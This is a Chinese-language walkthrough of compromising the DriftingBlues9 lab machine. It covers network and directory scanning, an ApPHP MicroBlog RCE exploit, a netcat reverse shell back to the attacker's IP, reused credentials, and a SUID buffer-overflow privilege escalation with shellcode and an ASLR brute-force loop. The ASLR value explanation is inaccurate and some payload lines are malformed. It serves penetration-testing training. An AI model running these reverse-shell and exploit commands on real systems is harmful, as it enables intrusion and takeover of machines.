driftingblues9 靶机渗透
driftingblues9 靶机渗透
driftingblues9 靶机,修改主机网络模式为 NAT 1.
1. 信息收集
1.1 发现主机
IP arp-scan -l
Interface: eth0,
type: EN10MB,
MAC: 00:0c:29:c7:c5:6f,
IPv4: 192.168.220.150 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.220.2
00:50:56:e1:fd:fa VMware, Inc. 192.168.220.199 00:0c:29:49:09:17 VMware, Inc. 192.168.220.254 00:50:56:e8:5a:d3 VMware, Inc.
1.2 端口扫描
可以发现有 3 个端口开放,80,111,57955
2. 威胁建模与漏洞分析
2.1 80 端口网站
访问网站
可以看到是 wordpress 系统
目录扫描:
gobuster
dir
--url
192.168.220.199
-x
html,txt,zip,php,bak
--wordlist=/usr/share/wordlists/dirb/common.txt
没发现太有价值的信息
查看标题是 ApPHP MicroBlog
,搜索相关漏洞,可以发现存在漏洞
可以发现有漏洞,但是不清楚当前 CMS 是什么版本,继续换字典目录扫描:
gobuster
dir
--url
192.168.220.199
-x
html,txt,zip,php,bak
--wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
发现一个文件:INSTALL.txt,可以发现版本信息
还发现一个目录,里面有一个文件:
可以发现账号密码信息: _USER_NAME_ _USER_PASSWORD_
尝试后台登陆失败
3. 漏洞利用
3.1 利用 RCE 漏洞获取 webshell
版本确定:1.0.1 可以发现有一个 RCE
漏洞
将其复制到当前目录:
searchsploit -m php/webapps/33070.py
运行程序:
python2 33070.py http://192.168.220.199/index.php
3.2 信息收集获取用户 shell
得到 shell
之后,会展示出数据库配置文件,对比 Home 目录下的用户名,可以发现两者一致,可能密码就是这个密码:
用户名:clapton
密码:yaraklitepe
在 kali 开启 nc 监听:nc -nlvp 1234
在目标机器上查看是否有 nc
使用 nc 反弹 shell:
nc 192.168.220.150 1234 -e /bin/bash
之后使用 python 切换到 bash:
python -c 'import pty;pty.spawn("/bin/bash")'
尝试切换用户 clapton
,密码 yaraklitepe
成功切换
查看 home 目录用户文件夹的信息
可以看到一个提示信息,是缓冲区溢出
4. 权限提升
4.1 缓冲区溢出提权
查看当前目录下文件:
发现 input 有 suid 权限,查看文件类型
是 32 位程序
缓冲区溢出需要找出溢出点
使用 msf 中的工具 msf-pattern_create
生成随机字符(4 字节不重复)
msf-pattern_create -l 2000
使用 gdb 进行动态调试:gdb -q input
,进入调试器之后,使用 r 命令读取随机字符串
按回车,可以发现程序崩溃,也就是缓冲区溢出了,错误信息是程序地址 eip 被改成了0x41376641
使用 kali 工具 msf-pattern_offset 寻找被改地址的偏移
msf-pattern_offset -l 2000 -q 41376641
重新构造字符串,验证被改地址(这个地址需要精准覆盖为 jmp esp 地址)
验证:
使用 python 创建语句,输入包括具有 171 个 A, 4 个 B 和 500 个\x90 的简单输入。
gdb -q input
r $(python2 -c 'print "A" * 171 + "B" * 4 + "\x90" * 500')
可以发现地址中是 4 个"B" ,eip 寄存器被修改为了 0x42424242
查看此时 esp 寄存器,将其转为大端方式替换上面的 4 个"B"
大端方式:b09cf5bf
gdb -q input
r $(python2 -c 'print "A" * 171 + "\xb0\x9c\xf5\xbf" + "\x90" * 500')
查看目标机器是否开启地址随机化(ASLR)
cat /proc/sys/kernel/randomize_va_space
目标上启用了 ASLR ( Address Space Layout Randomization,地址空间布局随机化。)
1:没有随机化。即关闭 ASLR。
2:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
3:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
生成单次执行 payload
,使用的是 Linux/x86 - execve(/bin/sh) + NOT Encoded Shellcode (27 bytes)
的 `payload
python -c 'print "A" * 171 + "\xb0\x9c\xf5\xbf" + "\x90" * 2000 +\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')
因为靶机开启了 ASLR,因此,我们必须多次迭代相同的代码行。
for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xb0\x9c\xf5\xbf"+""\x90"*2000+\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done
5. 小结
本节通过访问网站目录扫描等方式收集信息,进而获取网站系统版本信息,之后通过搜索对应漏洞,完成 RCE
漏洞利用获取 shell
,然后通过信息收集获取用户 shell
,最后自己构造payload
使用缓冲区溢出漏洞溢出
提权。前面获取 shell
比较简单,难点在于最后提权
。
- 目录扫描
gobuster
- 信息收集获取敏感文件
- searchsploit 工具的用法
- RCE 漏洞利用
- 自己构造 payload 缓冲区漏洞提权